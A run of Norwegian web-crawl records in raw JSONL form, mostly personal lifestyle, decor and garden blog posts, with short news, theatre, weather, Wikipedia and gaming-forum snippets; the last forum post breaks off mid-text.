f\u013a lagt seg. Forresten tusen takk til dere som kommenterte forje innlegg\\! Det hjalp mye\\!\u00a0  \n  \n**S\u013a bollene gode ut?\u00a0**  \n**Hva har du gjort i dag?**  \n  \n\\- Jennifer Elizabeth\n\n  - 05.02.2013 kl.22:16 i Blogg\n### Hvilken header?\n\nHallo\\! Har just laget noen headere. Er ikke sikker p\u013a om jeg vil bytte. Men lurte bare p\u013a hva dere syntes jeg burde gj\u0159re. Valgte disse to headerene \u013a vise dere.\u00a0  \n  \n1\\.  \n  \n  \n  \n  \n3\\.  \n  \nDette er jo denne jeg har n\u013a. Jeg er egentlig forn\u0159yd med den. Men den er kanskje litt kjedelig og enkel. Er ikke sikker p\u013a hva jeg syntes. Men det er jo deres mening som betyr mest\\! Jeg likte kanskje den \u0159verste best. Hmm, ikke helt sikker. Skriv en kommentar om hvilken du likte best. Men kommer til \u013a forandre litt p\u013a de hvis jeg skal bytte. Lagde de bare i farta.  \n  \n**Burde jeg ha en av de jeg just lagde eller den jeg har n\u013a?\u00a0**  \n**Hvilken var finest?\u00a0**\n\n\\- Jennifer Elizabeth\n\n### Sneak peak\n\n  \n  \n  \n  \n  \n  \n  \n  \n  \n**Vil dere se hvordan det er p\u013a i morgen?\u00a0**  \n**Syntes om bildene?\u00a0**\n\n\\- Jennifer Elizabeth\n\n### Husk sporsmalsrunden\n\nGod kveld. N\u013a sitter jeg her og slapper av forran tven og ser p\u013a ungkarer vs unkarskvinner. Spennende. Jaja overskriften sier vell det meste. Dere m\u013a stille flere sp\u0159rsm\u013al til sp\u0159rsm\u013alsrunden. Det er ikke akkurat de fleste sp\u0159rsm\u013alene. Still sp\u0159rsm\u013al **her.** Du kan ogs\u013a bare legge igjen en komentar under her ogs\u013a, om du har lyst\\!\n\n\n\nEllers s\u013a var jo jeg p\u013a skolen i dag s\u013a m\u013atte vi skrive en stil p\u013a 3 timer. Som jeg ikke hadde forventet i det hele tatt. Vi fikk vite det for en stund siden, men jeg hadde jo selvf\u0159lgelig glemt det. F\u013ar h\u013ape det gikk bra da. Jeg var ogs\u013a hos Tone tidligere i dag. Like koselig som alltid.\u00a0  \nForresten s\u013a er det noe galt med overskriften, kan ikke skrive \u0107\u0159\u013a. Skal fikse p\u013a det senere\\!  \n  \n**Noe du lurer p\u013a?**  \n**Hva har du gjort i dag?**  \n  \n\\- Jennifer Elizabeth\n\n  \n\\- Jennifer Elizabeth\n\n### Put that lipgloss on\n\n  \n  \n  \n  \n**Syntes om bildene?**\n\n\\- Jennifer Elizabeth\n\n\\- Jennifer Elizabeth\u00a0\n\n\n\n  \n  \n  \n  \n  \n  \n**Vest** // Ginatricot \u00a0**Genser** // Vila\n\n**Hva syntes dere om bildene?**\n\n\\- Jennifer Elizabeth\n\n  \n  \n\u00a0  \n  \nGod kveld\\! N\u013a fortiden er jeg veldig glad i \u013a legge ut bilder p\u013a instagram. Jeg ser gjennom alle bildene som jeg f\u0159lger har lakt ut f\u0159r jeg legger meg osv. \u0139rh\\! Det er s\u013a g\u0159y. F\u0159lg meg\\! Jeg heter **Jenniferelizabethhicks.\u00a0  \n**Skal forresten legge ut en sminkevideo i morgen om dere har lyst.\u00a0  \n  \n\u00a0**Hva heter du p\u013a instagram?\u00a0**  \n**\u00a0Vil du at jeg skal legge ut sminkevideo i morgen?**  \n  \n\\- Jennifer Elizabeth\n\n  - 02.02.2013 kl.23:59 i Blogg\n### Konkuranse\n\nHallo\\! Som dere sikkert leste tidligere s\u013a sa jeg at jeg skulle ha konkuranse i samarbeid med **CaseApp.**\u00a0Vinneren f\u013ar et gavekort p\u013a 200-, til et **iphonedeksel**. Det er greia med Caseapp er at man kan designe ditt eget deksel. Du kan for eksempel ta et bilde av deg og en venn/venninne, en kj\u0107reste eller hva du har lyst til. Det er s\u013a utrolig kult og jeg kommer garantert til \u013a kj\u0159pe ett jeg ogs\u013a. Men usikker p\u013a hvilket bilde jeg skal velge. \u00a0Her en noen eksempler p\u013a hva du kan gj\u0159re.\u00a0\n\n\n\n\n\nDet du m\u013a gj\u0159re for \u013a v\u0107re med i denne konkuransen er:\u00a0  \nS\u013a er det bare \u013a kommentere \u00a0at du er med. Det \u0159ker sjangsen for at du vinner hvis du kommenterer flere ganger og om du forteller hvorfor du b\u0159r vinne\\!\u00a0  \n  \nLYKKE TIL\\!\u00a0\n\n\\- Jennifer Elizabeth  \n\u00a0\n\n### Hortemo\n\n  \n\n\n  \n  \n  \n  \nGod kveld\\! Ut p\u013a tur aldri sur, er det ikke det man sier? Isteden for \u013a g\u013a p\u013a skolen, gikk vi p\u013a tur. Vi kom hjem sent i g\u013ar og tenkte at mange kom til \u013a v\u0107re tr\u0159tte i dag. Like greit. Vi kom ned klokka 10 og spiste \u00a0restene fra kvelden i g\u013ar. Det vi gjorde var egentlig bare \u013a sitte der og skli p\u013a et jordet som bare var is. Vi var der ikke s\u013a lenge, kanskje 3 timer.\u00a0  \nN\u013a sitter jeg hos Thea med noen gode vennner. Vi skal ligge over her til i morgen. H\u013aper alle dere har hatt en fin kveld og kos dere masse i helga\\! Forresten s\u013a m\u013a dere stile flere sp\u0159rsm\u013al HER  \n**Hva har dere gjort i dag?\u00a0**  \n  \n\\- Jennifer Elizabeth  \n  \n\n### Ballet\n\n  \n  \n  \n\n\n  \n  \n  \n  \nBeste kvelden p\u013a lenge\\! Utrolig koselig med god stemning. Det skjedde masse som dansing, priser, k\u013aringer, underholdning, god mat, latter og mye mer. Hadde egentlig forventet at det kom til \u013a bli klein stemning og at alle bare kom til \u013a sitte der. Men det gjorde det ikke\\! Har virkelig en super klasse. Gruer meg til videreg\u013aende. Kommer til \u013a savne dere alle\\!\u00a0  \nTakk til alle dere som gjorde kvelden s\u013a flott som den var\\! \u00a0  \n  \n**Fine bilder?\u00a0**\n\n\\- Jennifer Elizabeth\n\n### Snart konkuranse\n\n\n\n  \n  \nDa blir det konkuranse p\u013a bloggen snart. Tror dette blir bra. Jeg syntes premien er super bra og vil gjerne ha den selv. Men gir den ut til en av dere. Jeg kommer til \u013a publisere konkuransen i morra eller p\u013a s\u0159ndag. F\u013ar se n\u013ar det passer. Da f\u013ar dere bare f\u0159lge med n\u013ar den kommer og melde dere p\u013a\\!  \n  \n**Vil dere ha en konkuransen?\u00a0**  \n**Kommer du til \u013a v\u0107re med i den?\u00a0**\n\n\\- Jennifer Elizabeth\n\n  - 01.02.2013 kl.13:50 i Blogg\n  - Permalenke\n### Sliten\n\nGod kveld\\! Kom akkurat inn d\u0159ren etter et fantastisk kveld med de aller beste. Har hatt det utrolig koselig. Kommer et innlegg om det i morgen eller no hvis dere har lyst\\!\u00a0  \nN\u013a er det bare \u013a ta av meg kjolen og p\u013a med noe godt \u013a g\u013a med, ta av sminken og rett i seng. Sliten etter en s\u013ann dag. Skal bli godt \u013a legge seg n\u013a. I morgen s\u013a er det tur med skolen, s\u013a m\u013a jo v\u0107re opplagt til det\\! Tror jeg skal ta med kameraet men f\u013ar se.  \n  \n  \n  \n  \n  \n**Skal jeg lage et innlegg om ballet?**  \n**Hatt en fin kveld?\u00a0**\n\n\\- Jennifer Elizabeth\u00a0\n\nHei\\! N\u013a sitter jeg nede p\u013a menighets huset p\u013a mobilen og rydder i stand til ballet. Dette blir nok en koselig kveld. F\u013ar vi h\u013ape. Kos dere hjemme eller hvor enn du er \\!  \n  \n\\- Jennifer Elizabeth\n\n\n\n  - 31.01.2013 kl.17:24 i Blogg\n### Happy\n\n  \n  \n  \n  \nEndelig har jeg f\u013att Iphonen\\! Har ventet siden konfirmasjonen min som var i september. N\u013a er den endelig her\\! Det er en hvit iphone 5 som dere sikkert ser. N\u013a er det bare \u013a gj\u0159re den klar til bruk. Har aldri hatt en iphone f\u0159r s\u013a dette skal bli bra\\! Elsker den allerede.\u00a0  \n  \n**Har du Iphone 5?**\n\n\\- Jennifer Elizabeth\u00a0\n\n  - 30.01.2013 kl.23:54 i Blogg\n### H\u013arfrisyrer\n\n\n\n  \n  \n  \n\n  \n  \n\n\n**3.**  \n\n\n\n\n\u00a0  \n  \nSkal jo p\u013a ball i morgen, men vet ikke hva jeg skal gj\u0159re med h\u013aret. Tror kanskje jeg velger den siste men er ikke sikker. Hjelp meg med \u013a bestemme\\!\u00a0  \n( Pr\u0159v \u013a se vekk fra fjeset mitt. )  \n  \n**Hvilken skal jeg ta?**  \n**Noen forslag?**\n\n\\- Jennifer Elizabeth\n\n Her kan du skrive det du vil om deg. F,eks hvor gammel du er, hvor du er fra, hva du heter...Du bestemmer,  \n  \n", "language": "no", "__index_level_0__": "0d6c30cd-83d3-4db7-8535-03257e0a240e"}
{"url": "https://www.nrk.no/nyheter/studenter-stevner-bjorknes-hoyskole-1.12893134", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-25T00:45:26Z", "text": "## Studenter stevner Bj\u00f8rknes H\u00f8yskole\n\n40 tidligere studenter ved Bj\u00f8rknes H\u00f8yskole har stevnet skolen. De krever erstatning for det de mener er feilaktig markedsf\u00f8ring, og uriktige opplysninger om skolens bachelorprogram i ern\u00e6ringsfysiologi, melder NTB.\n\n", "language": "no", "__index_level_0__": "f11703ef-5112-4f05-94c1-5462e1ec086f"}
{"url": "http://www.1001sang.no/index.php?main_page=product_info&cPath=4_184_134&products_id=633", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:41:41Z", "text": "Med og uten konfirmantens navn.  \n  \n#### H\u00f8r melodien:\n\n**Utdrag av sangen, andre vers:**\n\nmel.: Norge i r\u00f8dt, hvitt og bl\u00e5tt  \n Du har l\u00e6rt mye disse \u00e5r,  \nog gode r\u00e5d du fortsatt f\u00e5r, men det du ei forst\u00e5r  \ner at din mamma vet alt best \u2013 \u263a  \nat livet ikke kun er fest \u2013 du kommer med protest.  \nAllting du vet, det m\u00e5 alle forst\u00e5.  \nDu er sv\u00e6rt bestemt, og vil helst alene r\u00e5.  \nVeldig selvsikker, har store planer.  \nI utfordringer er du jo glad.  \nTemperament n\u00e5  \nHest var interesse f\u00f8r (kan byttes ut med h\u00e5ndball/fotball, se nedenfor)  \nLakenskrekk  \nS\u00f8sken  \n  \n**Ekstra verselinjer**  \nHest interesse n\u00e5  \nH\u00e5ndball eller fotball i stedet for hest.  \nFlere verselinjer med forskjellig antall s\u00f8sken, bror, s\u00f8ster osv.  \n  \nDu kan redigere sangen, og du f\u00e5r ogs\u00e5 med en sang som er pent oppsatt.\n\n  \n\n", "language": "no", "__index_level_0__": "f80ed5a4-39c5-4a4c-a267-67ddcc59d6db"}
{"url": "http://daisishome.blogspot.com/2012/10/lysfest-i-sofakroken.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:45:04Z", "text": "\n\n## tirsdag 23. oktober 2012\n\n### LYSFEST i sofakroken\n\n\n\n  \n  \nEtter g\u00e5rs dagens bes\u00f8k i n\u00e6rmeste by, ble det s\u00e5 klart en tur innom min absolutte favoritt butikk KID INTERI\u00d8R\u00a0 for \u00e5 se p\u00e5 h\u00f8stens nyheter:)  \nOg\u00a0 seff sl\u00e5 av en prat med de alltid like hyggelige Kid damene D:)  \n  \n  \n  \nVar\u00a0jo s\u00e5 heldig \u00e5 vinne gavekort p\u00e5lydende kr.1000,- for 2.premie i\u00a0\u00a0\u00a0 Kid interi\u00f8r sommerkonkurranse  \n  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 S\u00e5 klart m\u00e5 jo dette brukes :)*  \n  \nIkke s\u00e5 alt for ofte\u00a0at det blir bytur, men ekstra morro er det iallefall n\u00e5r jeg en sjelden gang\u00a0f\u00e5r muligheten D:)  \n  \n  \nFaktisk s\u00e5 var en god del av julens nyheter\u00a0allerede kommet p\u00e5 plass.  \nJulen kan jo aldri begynne for tidlig vettu \u00a0og det var mye fint \u00e5 hvile \u00f8ynene p\u00e5 :)  \n  \n  \n  \n\n\n  \nEkstra kos \u00e5 f\u00e5 st\u00e6sje opp sofakroken med nye puter\u00a0for h\u00f8sten og med disse Samburu pynte -\u00a0putene ifra Kid ble det virkelig ny vri her.  \n  \n*Ikke alltid det er s\u00e5 mye som skal til for \u00e5 gi stuen det bitte lille ekstra ...*  \n  \nDen lekre vasen i s\u00f8lv som jeg har fylt med lerkegreiner,\u00a0var jeg s\u00e5 heldig \u00e5 f\u00e5 i gave ifra min snille svigerdatter :)  \n  \n  \n*\u00a0 Det er\u00a0\u00a0Lysfest\u00a0hos kid interi\u00f8r 17/10- 30/10\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0*   \n*\u00a0*  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Med 30% p\u00e5 lykter og telysholdere.*  \n**  \nBenyttet derfor anledningen og shoppet med denne store lyslykten.  \nRiktig r\u00e5lekker lykt og ser absolutt for meg at denne kan dekoreres med mye annet enn bare levende lys.  \n  \n  \nEn dekorativ lenke ble ogs\u00e5 med i samme slengen med tanke p\u00e5 \u00e5 kunne bruke denne i lysboksen, som det jeg har gjort her:)  \n  \nS\u00e5 masse jeg gjerne kunne tenkt meg \u00e5 hatt med hjem ifra denne butikken.  \n  \n\u00a0Men.. med s\u00e5 mye fint \u00e5 velge mellom er det iallefall ikke enkelt det \u00a0\u00e5\u00a0 skulle velge ut noe.  \n  \n  \n  \n\n\n  \n  \nS\u00e5 i drittv\u00e6ret vi har hatt \u00a0her idag med regn og storm,\u00a0har jeg dullet\u00a0\u00a0omkring her p\u00e5 stua og flyttet p\u00e5 div.\u00a0ting og tang.  \n  \n  \nG\u00e5r med planer om kanskje \u00e5 fornye den m\u00f8rkegr\u00e5e veggen i denne delen av stua ...f\u00e5r se hva det blir til, \u00a0Har sett for meg\u00a0veggen i noe samme farge men da i betongfarge :)  \n  \n  \n  \n\n\n  \n  \nSjekk ut *Disco\u00a0\u00a0reinen* som st\u00e5r oppe p\u00e5 den gamle kassen...  \nDen var skikkelig\u00a0r\u00e5\u00e5 alts\u00e5 og her har den funnet seg godt til rette :)  \n  \n  \n  \nM\u00e5 nevne at pleddet faktisk ogs\u00e5 er ifra Kid, men dette har v\u00e6rt ei stund her p\u00e5 stua. Skikkelig s\u00e5nn godt og varmt kosepledd D:)  \n  \n  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Ha en\u00a0kos\u00a0\" lysende aften \"\u00a0da dere :)*  \n  \n  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Sissel\u00a0\u00a0 *  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 *  \n  \n20:16           \n\n#### 7 kommentarer:\n\n \n\nalexxis sa...\n\nkjempe fint:))) love it:)\n\n 23. oktober 2012 kl. 21:27    \n\n\n\n\n\nMarianne Dragon Waagan sa...\n\nHei Sissel:)  \nJa, her var det mye flott \u00e5 se p\u00e5... putene er bare s\u00e5 lekre, og lyslykten er r\u00e5fin.  \nMan finner bare s\u00e5\u00e5\u00e5 mye fint KID, en butikk jeg virkelig liker godt... og alltid har de en eller annen rabatt p\u00e5 noe HERLIG\\!  \n  \nDu f\u00e5r kose deg som best du kan i stormen... begynte \u00e5 bl\u00e5se opp her i Trondheim ogs\u00e5 i kveld. Vi har sn\u00f8 i vente\\!  \n  \nKlem fra Marianne\n\n 23. oktober 2012 kl. 22:11    \n\n\n\n\n\nM\u00e5 jo si du var heldig med det gavekortet, man \"trenger\" jo alltids b\u00e5de puter og tepper. Synes du har en fin og litt r\u00f8ff stil, forfriskende blandt alle de s\u00f8te dukkehjemmene rundt om i bloggeland.\n\n 23. oktober 2012 kl. 22:53    \n\n\n\n\n\nMor Inger\\`s hus sa...\n\nSkikkelig stemning i stua di.  \n  \nOg takk for tipset om lysfest hos KID  \n  \nKlem fra Inger\n\n 23. oktober 2012 kl. 22:53    \n\n\n\n\n\nMartilie sa...\n\nS\u00e5 helt utrolig lekkert interi\u00f8r.  \nS\u00e5pennende og knallfint :)  \n  \nKos deg med nye flotte puter og lykter :)  \n  \nTove\n\n 24. oktober 2012 kl. 02:14    \n\n\n\n\n\nJatte sa...\n\nNYDELIG den lykten\\!\\!\\!  \n  \nHa en finfin Onsdag,  \nKlem Jatte\u2665\n\n 24. oktober 2012 kl. 05:00    \n\n\n\n\n\nRomantikk-takk. sa...\n\nHei.  \nSelv om jeg har en annerledes stil enn deg s\u00e5 bare elsker jeg dette,knallfin stue har du og FOR en fantasi,lekkert. :)  \nKlemmer til deg.\n\n 24. oktober 2012 kl. 09:43    \n\n## HUSK\n\n\u00c5ndsverkloven \u00a7 1 lyder slik: \"Den som skaper et \u00e5ndsverk, har opphavsrett til verket.\" Alle bildene jeg bruker er mine private, med mindre annet er oppgitt. Det er ikke greit \u00e5 l\u00e5ne dem uten min tillatelse\n\n    \n\n## dette bilde fikk 2.plass i Kid interi\u00f8r sommerkonkurranse.\n\n  \n\n", "language": "no", "__index_level_0__": "06cabbd3-3e31-4832-9c89-7318de9edddf"}
{"url": "http://sceneweb.no/nb/production/23234/Tusen_kyss_fra_Bagdad-1971-3-4", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:26:37Z", "text": "## Om Tusen kyss fra Bagdad\n\n***Tusen kyss fra Bagdad*** (1971) var en teaterforestilling av **Oslo Nye Teater**. *Tusen kyss fra Bagdad* var en urpremiere basert p\u00e5 en komedie om luksus av **Arne Skouen** med samme tittel. Produksjonen ble satt opp p\u00e5 **Oslo Nye Teater.**\n\nRegiss\u00f8r var **Arne Skouen.**\n\n**Gisle Straume** spilte skipsrederen Hannibal.**  \n**\n\n**Wenche Foss** spilte Grace, Hannibals kone.**  \n**\n\n## Medvirkende\n\n  - Arne Skouen - Dramatiker\n  - Arne Skouen - Regi\n  - Harald Martin - Scenografi\n  - Low Kaas - Kostymedesign\n  - Anders Hatlo - Skuespiller (J\u00f8rn, student og banditt)\n  - Camilla Tostrup - Skuespiller (En i gjengen)\n\n  - Egil \u00c5smann - Skuespiller (Marinel\u00f8ytnanten)\n  - Elisabeth Riseng - Skuespiller (Bj\u00f8rg, hushjelp)\n  - Gisle Straume - Skuespiller (Hannibal, skipsreder)\n", "language": "no", "__index_level_0__": "2e27302f-0f15-4f9c-81e9-a29c55a9cc70"}
{"url": "http://nefertitishagedagbok.blogspot.com/2013/05/man-ma-knuse-noen-egg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:20:10Z", "text": "## l\u00f8rdag 4. mai 2013\n\n### Man m\u00e5 knuse noen egg\n\n\n\n... for \u00e5 lage en omelett.  \n  \n'Omeletten,' er inngangspartiet v\u00e5rt, som vi har f\u00e5tt folk til ta siste innsats p\u00e5.  \n  \nDe stakkars murerne er sikkert ikke klar over engang, at de har halshugget min kj\u00e6re peon ved navn 'Costume of youg girl', ja, og et par tulipaner.  \n  \nDe har ikke gjort det med vilje, men med hageslangen som de har dratt gjennom alle bedene rundt huset, for \u00e5 vaske murerb\u00f8ttene sine med.  \n  \n\n**Lurer p\u00e5 om den vil komme med nye skudd?\u00a0**\n\n  \n\n\nDenne planten trodde jeg virkelig ikke jeg hadde klart \u00e5 ta vare p\u00e5.\n\nJeg fikk den av et vennepar av oss, men s\u00e5 ble den st\u00e5ende for lenge og t\u00f8rke f\u00f8r jeg til slutt fikk satt den i jorden.\n\n  \nJeg fikk den som brudesl\u00f8r - gypsophila, men er det det den er, tro?\n\nLitt skeptisk ...\n\n  \n21:10           \n\n Etiketter: Peoner \n\nEg trur det er Bj\u00f8rnerot. Ei krydderurt som minner om karri:)\n\n 4. mai 2013 kl. 21:49    \n\n\n\n\n\nAkk, h\u00e5ndtverkere i hagen er verre enn b\u00e5de r\u00e5dyr og brunsnegler - gange 2.  \n  \nHar opplevd flere mareritt i s\u00e5 m\u00e5te, og gjerne noe man faktisk ikke kunne dr\u00f8mme om kunne skje. F.eks. da jeg skiftet kledning utvendig, endte det opp med kaos i vinterlagrede planter i kjelleren. Om h\u00e5ndtverkere bare skal sl\u00e5 inn \u00e9n spiker, er det like greit \u00e5 sikre hele eiendommen.  \n  \n...eller \u00e5 bare v\u00e6re glad for at det ikke gikk verre. Peonen kommer seg nok igjen, men blir jo litt redusert i \u00e5r.  \n  \nNyt v\u00e5ren\\! :)\n\n 5. mai 2013 kl. 09:58    \n\n\n\n\n\nnefertiti sa...\n\nKan hende, Hilde. Jeg har en bj\u00f8rnerot ogs\u00e5, et annet sted i hagen, men den har ikke vist seg enn\u00e5.  \n  \nJa, de vinterlagrede er en annen side av samme 'omelett', Bille. Men de eggene er det t\u00f8mrerne som har knust. Jeg var ikke kommet s\u00e5 langt i historien, skj\u00f8nner du ...  \nDe vinterlagrede har blitt skj\u00f8vet hit og dit og rundt i ring, antakelig kvalt av ledninger og byggest\u00f8v. Og n\u00e5 p\u00e5 slutten har det ikke v\u00e6rt mulig \u00e5 komme til der i det hele tatt, s\u00e5 de er vel t\u00f8rket ut alle sammen.  \nMen n\u00e5 er det bare snakk om tre dager til, s\u00e5 skal alt v\u00e6re p\u00e5 G - krysser fingrene for at NOE har t\u00e5lt den grusomme behandlingen\\!  \n  \nGod s\u00f8ndag :-)\n\n 5. mai 2013 kl. 11:37    \n\n", "language": "no", "__index_level_0__": "3040dac4-4565-4071-9d55-a339be12ff0b"}
{"url": "http://blog.arcticsafari.no/2010/01/weekend-weather-forecast-fishing-area.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:32:29Z", "text": "    \n\n## Friday, 29 January 2010\n\n### WEEKEND WEATHER FORECAST - FISHING AREA TROMS\u00d8\n\nMeteorologens varsel  \nTroms fredag og l\u00f8rdag: S\u00f8r\u00f8stlig stiv kuling 15 utsatte steder, i nord periodevis liten storm 22 i nord, l\u00f8rdag gradvis minkende. Litt sn\u00f8 i grensetraktene, ellers til dels pent v\u00e6r.  \n  \nOBS-varsel for Troms fredag: S\u00f8raustlig stiv kuling 15 utsatte steder, i nord periodevis liten storm 22 m/s i nord, gradvis minkende l\u00f8rdag. I dag og f\u00f8rst p\u00e5 l\u00f8rdag fare for sterk ising p\u00e5 fart\u00f8yer.  \n  \n\nWIND FROM SOUTH EAST - 15-22 M/S . SOME SNOW. NOT SAFE FOR SMALL BOATS DUE TO ICEING CONDITIONS.  \n\u00a0  \nFISHING CONDITIONS: - DANGEROUS FOR SMALL BOATS -   \n\u00a0  \n\n\nMorten Willumsen    \n\n## ARCTIC SAFARI GUIDE\n\n\n\nMorten Willumsen  \n\nF\u00f8dt og oppvokst i Troms\u00f8, Norge.\u00a0\n\nGlad i b\u00e5tliv og ivrig sportsfisker med fiske etter kveite som spesialfelt.\u00a0\n\nHar arbeidet som ingeni\u00f8r med veibygging og bygging av arktisk infrastruktur og boligfelter i Nord-Norge og p\u00e5 Svalbard.\u00a0\n\nHar over 40 \u00e5rs erfaring som skipper og fritidsfisker p\u00e5 b\u00e5ter opp til 49 fot, og har hatt egne b\u00e5ter siden tidlig p\u00e5 70-tallet. Er grundig lokalkjent p\u00e5 kysten i nord, og kjenner det meste av fiskeplasser og naturperler her som er verdt et bes\u00f8k.\u00a0\n\nHar stor glede over \u00e5 ferdes ute i nordnorsk kystnatur - b\u00e5de sommer og vinter - \u00a0og er veldig interessert i nordnorsk kystkultur og litteratur.  \n\nHar hytte p\u00e5 Rein\u00f8ya utenfor Troms\u00f8, og tilbringer mye av fritiden der og i havomr\u00e5dene rundt sammen med familie og venner.\n\nHar i perioder v\u00e6rt engasjert i politisk arbeide med fokus p\u00e5 n\u00e6ringspolitikk, og har sittet som medlem i Troms\u00f8 Kommunestyre i 4 \u00e5r.\u00a0\n\n  \n", "language": "no", "__index_level_0__": "ebaf3122-89e1-45f8-b3ca-414c4354fb0f"}
{"url": "http://io.no/apotek%20og%20apotekvarer", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-25T00:00:12Z", "text": "    I NMD setter vi samarbeid h\u00f8yt, har en \u00e5pen og uformell bedriftskultur, er positivt innstilt til fornyelse og oppfordrer hverandre til \u00e5 gj\u00f8re modige valg. \"Sammen p\u00e5 vei for bedre helse\" er visjonen vi strekker oss etter. Velkommen til \u00e5 bli bedre kjent med oss.\n\n", "language": "no", "__index_level_0__": "b986a38f-095f-468e-aead-1f7feb9b703f"}
{"url": "https://no.wikipedia.org/wiki/Richard_Lynn", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:50:53Z", "text": "**Richard Lynn** (f\u00f8dt 1930) er en britisk professor emeritus i psykologi fra University of Ulster^(\\[1\\]\\[2\\]) som er kjent for sitt kontrvversielle syn p\u00e5 kj\u00f8nn, folkegrupper, etnisitet og intelligens, og nasjonale forskjeller i intelligens.^(\\[3\\]) Lynn sier at det er intelligenseforskjeller n\u00e5r man ser p\u00e5 etniske folkegrupper og kj\u00f8nn. Lynn er en av verdens ledende forskere innenfor IQ-forskning.\n\nLynn ble utdannet ved Bristol Grammar School og Universitet i Cambridge i England.^(\\[2\\]) Han har arbeidet som foreleser i psykologi ved Universitetet i Exeter, og som professor i psykologi ved Economic and Social Research Institute i Dublin, og ved Universitetet i Ulster ved Coleraine. Han har skrevet og v\u00e6rt medforfatter til mer enn 11 b\u00f8ker og 200 vitenskapelige artikler over en periode p\u00e5 fem decennier.\n\nSent p\u00e5 1970-tallet skrev Lynn at han fant h\u00f8yere gjennomsnittlig IQ-sk\u00e5ring hos \u00f8stasiater sammenlignet med hvite (5 poeng h\u00f8yere i hans metaanalyse). I 1990 foreslo han at Flynneffekten; en observert \u00e5rlig \u00f8kning av IQ-sk\u00e5ren i verden \u2013 muligens kunne forklares med forbedret ern\u00e6ring, spesielt i tidlig barndom.\n\nSom mesteparten av forskning innen etniske folkegrupper og intelligens er Lynns forskning kontroversiell. Han er sitert i boken *The Bell Curve*. Han er ogs\u00e5 en av de 52 vitenskapsfolkene som signerte \u00abMainstream Science on Intelligence\u00bb, en kronikk som stod p\u00e5 trykk i *The Wall Street Journal* som forsvarte *The Bell Curve*.^(\\[4\\]) Han sitter i redakt\u00f8rr\u00e5det (*editorial boards*) i de vitenskapelige tidsskriftene *Intelligence* og *Personality and Individual Differences*.^(\\[5\\]) Han er ogs\u00e5 styremedlem i Pioneer Fund og i det Pioneer-st\u00f8ttede tidsskriftet *Mankind Quarterly*.\n\nLynn medvirket i den norske TV-serien *Hjernevask (TV-program)* som gikk p\u00e5 NRK i 2010.\n\n", "language": "no", "__index_level_0__": "5150796b-e700-4b69-9782-54aeaf070bc7"}
{"url": "http://forum.rr-guild.com/viewtopic.php?f=275&p=324434&sid=3103d32ea1ac591cd26dbf6e8cd11d4a", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:20:39Z", "text": "\n\n  \n**Joined:** Fri Jan 29, 2010 6:55 pm  \nUten noe som helst varsel eller noe som helst ble jeg banna... for hva? jukser jeg? nei, snakker jeg dritt til dere? nei. jeg satt p\u00e5 TS3 med Lessballs og gamet p\u00e5 serveren deres s\u00e5 plutselig ble jeg kicka og banna, koslig. Dette er ikke ragnarok slik jeg kejnte dere.  \n  \nThu Nov 03, 2011 11:51 am\n\n\nThu Nov 03, 2011 2:02 pm\n\n\n**Joined:** Wed Sep 30, 2009 9:38 am  \n\nDenne bannen er min og jeg st\u00e5r inne for den.  \n  \nJeg har allerede sendt deg pm om dette smurfina.  \n  \nSkal skrive opp punktene som ledet til ban:  \n  \n\\-Ekstremt mange klager kom inn p\u00e5 deg fordi du hopper runt hj\u00f8rner og pinpointer folk uten \u00e5 ha noen som helst info om hvor de befinner seg.  \n  \n\\-Vi begynte dermed \u00e5 f\u00f8lge n\u00f8yere etter og det skjer gang p\u00e5 gang p\u00e5 brett med trange gater/hj\u00f8rner etc. P\u00e5 \u00e5pne map har du ikke samme nytten av denne infoen og da spiller du mye d\u00e5rligere. Dermed begynte noen alarmer \u00e5 ringe.  \n  \n\\-Mange i RR f\u00f8lger aktivt med p\u00e5 ESports og vi vet hvordan det ser ut n\u00e5r gode spillere spiller. Det er greit \u00e5 ha god aim, noe jeg ikke benekter du har, men du har i tilegg en sjette sans ALT FOR OFTE. 